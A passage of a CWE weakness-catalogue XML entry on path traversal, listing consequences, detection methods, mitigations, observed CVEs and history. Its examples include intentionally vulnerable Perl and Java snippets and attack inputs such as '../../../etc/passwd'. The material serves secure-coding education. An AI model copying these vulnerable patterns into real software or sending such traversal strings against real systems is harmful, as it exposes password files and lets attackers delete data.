				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able read the contents of unexpected files and
							expose sensitive data. If the targeted file is used for a security
							mechanism, then the attacker may be able to bypass that mechanism. For
							example, by reading a password file, the attacker could conduct brute
							force password guessing attacks in order to break into an account on the
							system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to overwrite, delete, or corrupt unexpected
							critical files such as programs, libraries, or important data. This may
							prevent the software from working at all and in the case of a protection
							mechanisms such as authentication, it has the potential to lockout every
							user of the software.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated techniques can find areas where path traversal weaknesses
							exist. However, tuning or customization may be required to remove or
							de-prioritize path-traversal problems that are only exploitable by the
							software's administrator - or other privileged users - and thus
							potentially valid behavior or, at worst, a bug instead of a
							vulnerability.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Manual Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Manual white box techniques may be able to provide sufficient code
							coverage and reduction of false positives if all file access operations
							can be assessed within limited time constraints.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
						            <Text>Use a built-in path canonicalization function (such as realpath() in
							C) that produces the canonical version of the pathname, which
							effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
							This includes:</Text>
						            <Block Block_Nature="List">
							              <Text>realpath() in C</Text>
							              <Text>getCanonicalPath() in Java</Text>
							              <Text>GetFullPath() in ASP.NET</Text>
							              <Text>realpath() or abs_path() in Perl</Text>
							              <Text>realpath() in PHP</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-29">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Firewall</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use an application firewall that can detect attacks against this
							weakness. It can be beneficial in cases in which the code cannot be
							fixed (because it is controlled by a third party), as an emergency
							prevention measure while more comprehensive software assurance measures
							are applied, or to provide defense in depth.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>An application firewall might not cover all possible input vectors. In
							addition, attack techniques might be available to bypass the protection
							mechanism, such as using malformed inputs that can still be processed by
							the component that receives those inputs. Depending on functionality, an
							application firewall might inadvertently reject or modify legitimate
							requests. Finally, some manual effort may be required for
							customization.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.22.5]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-21.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Enforcement by Conversion</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When the set of acceptable objects, such as filenames or URLs, is
							limited or known, create a mapping from a set of fixed input values
							(such as numeric IDs) to the actual filenames or URLs, and reject all
							other inputs.</Text>
						            <Text>For example, ID 1 could map to "inbox.txt" and ID 2 could map to
							"profile.txt". Features such as the ESAPI AccessReferenceMap [R.22.3]
							provide this capability.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-22">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which files can be accessed in a particular
							directory or which commands can be executed by the software.</Text>
						            <Text>OS-level examples include the Unix chroot jail, AppArmor, and SELinux.
							In general, managed code may provide some protection. For example,
							java.io.FilePermission in the Java SecurityManager allows the software
							to specify restrictions on file operations.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of the application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>The effectiveness of this mitigation depends on the prevention
							capabilities of the specific sandbox or jail being used and might only
							help to reduce the scope of an attack, such as restricting the attacker
							to certain system calls or limiting the portion of the file system that
							can be accessed. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-34">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Store library, include, and utility files outside of the web document
							root, if possible. Otherwise, store them in a separate directory and use
							the web server's access control capabilities to prevent attackers from
							directly requesting them. One common practice is to define a fixed
							constant in each calling program, then check for the existence of the
							constant in the library/include file; if the constant does not exist,
							then the file was directly requested, and it can exit
							immediately.</Text>
						            <Text>This significantly reduces the chance of an attacker being able to
							bypass any protection mechanisms that are in the base program but not in
							the include files. It will also reduce the attack surface.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-39">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that error messages only contain minimal details that are
							useful to the intended audience, and nobody else. The messages need to
							strike the balance between being too cryptic and not being cryptic
							enough. They should not necessarily reveal the methods that were used to
							determine the error. Such detailed information can be used to refine the
							original attack to increase the chances of success.</Text>
						            <Text>If errors must be tracked in some detail, capture them in log messages
							- but consider what could occur if the log messages can be viewed by
							attackers. Avoid recording highly sensitive information such as
							passwords in any form. Avoid inconsistent messaging that might
							accidentally tip off an attacker about internal state, such as whether a
							username is valid or not.</Text>
						            <Text>In the context of path traversal, error messages which disclose path
							information can help attackers craft the appropriate attack strings to
							move through the file system hierarchy.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-16">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When using PHP, configure the application so that it does not use
							register_globals. During implementation, develop the application so that
							it does not rely on this feature, but be wary of implementing a
							register_globals emulation that is subject to weaknesses such as CWE-95,
							CWE-621, and similar issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-27">
					          <Intro_Text>The following code could be for a social networking application in
						which each user's profile information is stored in a separate file. All
						files are stored in a single directory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $dataPath = "/users/cwe/profiles";</Code>
							              <Code>my $username = param("user");</Code>
							              <Code>my $profilePath = $dataPath . "/" . $username;</Code>
							              <Code/>
							              <Code>open(my $fh, "&lt;$profilePath") || ExitError("profile read
								error: $profilePath");</Code>
							              <Code>print "&lt;ul&gt;\n";</Code>
							              <Code>while (&lt;$fh&gt;) {</Code>
							              <Block>
								                <Code>print "&lt;li&gt;$_&lt;/li&gt;\n";</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>print "&lt;/ul&gt;\n";</Code>
						            </Block>
						            <Text>While the programmer intends to access files such as
							"/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no
							verification of the incoming user parameter. An attacker could provide a
							string such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../../etc/passwd</Code>
						            </Block>
						            <Text>The program would generate a profile pathname like this:</Text>
						            <Block Block_Nature="Result">
							              <Code>/users/cwe/profiles/../../../etc/passwd</Code>
						            </Block>
						            <Text>When the file is opened, the operating system resolves the "../"
							during path canonicalization and actually accesses this file:</Text>
						            <Block Block_Nature="Result">
							              <Code>/etc/passwd</Code>
						            </Block>
						            <Text>As a result, the attacker could read the entire text of the password
							file.</Text>
						            <Text>Notice how this code also contains an error message information leak
							(CWE-209) if the user parameter does not produce a file that exists: the
							full pathname is provided. Because of the lack of output encoding of the
							file that is retrieved, there might also be a cross-site scripting
							problem (CWE-79) if profile contains any HTML, but other code would need
							to be examined. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-18">
					          <Intro_Text>In the example below, the path to a dictionary file is read from a
						system property and used to initialize a File object.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String filename =
								System.getProperty("com.domain.application.dictionaryFile");</Code>
							              <Code>File dictionaryFile = new File(filename);</Code>
						            </Block>
						            <Text>However, the path is not validated or modified to prevent it from
							containing relative or absolute path sequences before creating the File
							object. This allows anyone who can control the system property to
							determine what file is used. Ideally, the path should be resolved
							relative to some kind of application or user home directory.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-2">
					          <Intro_Text>The following code takes untrusted input and uses a regular
						expression to filter "../" from the input. It then appends this result to
						the /home/user/ directory and attempts to read the file in the final
						resulting path.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $Username = GetUntrustedInput();</Code>
							              <Code>$Username =~ s/\.\.\///;</Code>
							              <Code>my $filename = "/home/user/" . $Username;</Code>
							              <Code>ReadAndSendFile($filename);</Code>
						            </Block>
						            <Text>Since the regular expression does not have the /g global match
							modifier, it only removes the first instance of "../" it comes across.
							So an input value such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../../etc/passwd</Code>
						            </Block>
						            <Text>will have the first "../" stripped, resulting in:</Text>
						            <Block Block_Nature="Result">
							              <Code>../../etc/passwd</Code>
						            </Block>
						            <Text>This value is then concatenated with the /home/user/ directory:</Text>
						            <Block Block_Nature="Result">
							              <Code>/home/user/../../etc/passwd</Code>
						            </Block>
						            <Text>which causes the /etc/passwd file to be retrieved once the operating
							system has resolved the ../ sequences in the pathname. This leads to
							relative path traversal (CWE-23).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code attempts to validate a given input path by
						checking it against a white list and once validated delete the given file.
						In this specific case, the path is considered valid if it starts with the
						string "/safe_dir/".</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String path = getInputPath();</Code>
							              <Code>if (path.startsWith("/safe_dir/"))</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>File f = new File(path);</Code>
								                <Code>f.delete()</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>An attacker could provide an input such as this:</Text>
						            <Block Block_Nature="Attack">
							              <Code>/safe_dir/../important.dat</Code>
						            </Block>
						            <Text>The software assumes that the path is valid because it starts with the
							"/safe_path/" sequence, but the "../" sequence will cause the program to
							delete the important.dat file in the parent directory</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-22">
					          <Intro_Text>The following code demonstrates the unrestricted upload of a file
						with a Java servlet and a path traversal vulnerability. The HTML code is the
						same as in the previous example with the action attribute of the form
						sending the upload file request to the Java servlet instead of the PHP
						code.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;form action="FileUploadServlet" method="post"
								enctype="multipart/form-data"&gt;</Code>
							              <Code/>
							              <Code>Choose a file to upload: </Code>
							              <Code>&lt;input type="file" name="filename"/&gt;</Code>
							              <Code>&lt;br/&gt;</Code>
							              <Code>&lt;input type="submit" name="submit"
								value="Submit"/&gt;</Code>
							              <Code/>
							              <Code>&lt;/form&gt;</Code>
						            </Block>
						            <Text>When submitted the Java servlet's doPost method will receive the
							request, extract the name of the file from the Http request header, read
							the file contents from the request and output the file to the local
							upload directory.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class FileUploadServlet extends HttpServlet {</Code>
							              <Code/>
							              <Block>
								                <Code>...</Code>
								                <Code/>
								                <Code>protected void doPost(HttpServletRequest request,
									HttpServletResponse response) throws ServletException,
									IOException {</Code>
								                <Code/>
								                <Block>
									                  <Code>response.setContentType("text/html");</Code>
									                  <Code>PrintWriter out = response.getWriter();</Code>
									                  <Code>String contentType = request.getContentType();</Code>
									                  <Code/>
									                  <Comment>// the starting position of the boundary
										header</Comment>
									                  <Code>int ind = contentType.indexOf("boundary="); </Code>
									                  <Code>String boundary = contentType.substring(ind+9);</Code>
									                  <Code/>
									                  <Code>String pLine = new String(); </Code>
									                  <Code>String uploadLocation = new
										String(UPLOAD_DIRECTORY_STRING); //Constant value</Code>
									                  <Code/>
									                  <Comment>// verify that content type is multipart form data </Comment>
									                  <Code>if (contentType != null &amp;&amp;
										contentType.indexOf("multipart/form-data") != -1) {</Code>
									                  <Code/>
									                  <Block>
										                    <Code>// extract the filename from the Http header</Code>
										                    <Code>BufferedReader br = new BufferedReader(new
											InputStreamReader(request.getInputStream()));</Code>
										                    <Code>...</Code>
										                    <Code>pLine = br.readLine(); </Code>
										                    <Code>String filename =
											pLine.substring(pLine.lastIndexOf("\\"),
											pLine.lastIndexOf("\""));</Code>
										                    <Code>...</Code>
										                    <Code/>
										                    <Comment>// output the file to the local upload
											directory</Comment>
										                    <Code>try {</Code>
										                    <Block>
											                      <Code>BufferedWriter bw = new BufferedWriter(new
												FileWriter(uploadLocation+filename, true));</Code>
											                      <Code>for (String line; (line=br.readLine())!=null; )
												{</Code>
											                      <Block>
												                        <Code>if (line.indexOf(boundary) == -1) {</Code>
												                        <Block>
												                           <Code>bw.write(line);</Code>
												                           <Code>bw.newLine();</Code>
												                           <Code>bw.flush();</Code>
												                        </Block>
												                        <Code>}</Code>
											                      </Block>
											                      <Code>} //end of for loop</Code>
											                      <Code>bw.close(); </Code>
										                    </Block>
										                    <Code/>
										                    <Code>} catch (IOException ex) {...}</Code>
										                    <Comment>// output successful upload response HTML
											page</Comment>
									                  </Block>
									                  <Code>}</Code>
									                  <Comment>// output unsuccessful upload response HTML
										page</Comment>
									                  <Code>else </Code>
									                  <Code>{...}</Code>
								                </Block>
								                <Code>}</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code does not check the filename that is provided in the header,
							so an attacker can use "../" sequences to write to files outside of the
							intended directory. Depending on the executing environment, the attacker
							may be able to specify arbitrary files to write to, leading to a wide
							variety of consequences, from code execution, XSS (CWE-79), or system
							crash.</Text>
						            <Text>Also, this code does not perform a check on the type of the file being
							uploaded. This could allow an attacker to upload any executable file or
							other file with malicious code (CWE-434).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-0467</Observed_Example_Reference>
					          <Observed_Example_Description>Newsletter module allows reading arbitrary files
						using "../" sequences.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-4194 </Observed_Example_Reference>
					          <Observed_Example_Description>FTP server allows deletion of arbitrary files
						using ".." in the DELE command.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-4053 </Observed_Example_Reference>
					          <Observed_Example_Description>FTP server allows creation of arbitrary
						directories using ".." in the MKD command.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0244 </Observed_Example_Reference>
					          <Observed_Example_Description>OBEX FTP service for a Bluetooth device allows
						listing of directories, and creation or reading of files using ".."
						sequences..</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-4013</Observed_Example_Reference>
					          <Observed_Example_Description>Software package maintenance program allows
						overwriting arbitrary files using "../"
						sequences.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-4449</Observed_Example_Reference>
					          <Observed_Example_Description>Bulletin board allows attackers to determine the
						existence of files using the avatar.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-4581</Observed_Example_Reference>
					          <Observed_Example_Description>PHP program allows arbitrary code execution using
						".." in filenames that are fed to the include()
						function.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-0012</Observed_Example_Reference>
					          <Observed_Example_Description>Overwrite of files using a .. in a Torrent
						file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-0013</Observed_Example_Reference>
					          <Observed_Example_Description>Chat program allows overwriting files using a
						custom smiley request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5748</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: external control of values for user's
						desired language and theme enables path
						traversal.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>File processing</Functional_Area>
			      </Functional_Areas>
			      <Relevant_Properties>
				        <Relevant_Property>Equivalence</Relevant_Property>
			      </Relevant_Properties>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Many variants of path traversal attacks are probably under-studied with
						respect to root cause. CWE-790 and CWE-182 begin to cover part of this
						gap.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.22.1">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 11, "Directory Traversal and Using Parent Paths (..)"
						Page 370</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.22.2">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-32" Local_Reference_ID="R.22.3">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Testing for Path Traversal (OWASP-AZ-001)</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.22.4">
					          <Reference_Author>Johannes Ullrich</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 7 - Path Traversal</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-09</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/09/top-25-series-rank-7-path-traversal/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.22.5">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.22.6">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Filenames and Paths", Page
						503.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Path Traversal</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Insecure Direct Object Reference</Mapped_Node_Name>
					          <Mapped_Node_ID>A4</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Access Control</Mapped_Node_Name>
					          <Mapped_Node_ID>A2</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Canonicalize path names originating from untrusted
						sources</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Path Traversal </Mapped_Node_Name>
					          <Mapped_Node_ID>33</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Canonicalize path names originating from untrusted
						sources</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>139</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>23</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>64</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Relationships, Other_Notes,
						Relationship_Notes, Relevant_Properties, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Common_Consequences, Demonstrative_Examples, Description, Detection_Factors,
						Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes,
						Potential_Mitigations, References, Related_Attack_Patterns,
						Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings,
						Terminology_Notes, Time_of_Introduction,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Description, Detection_Factors, Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
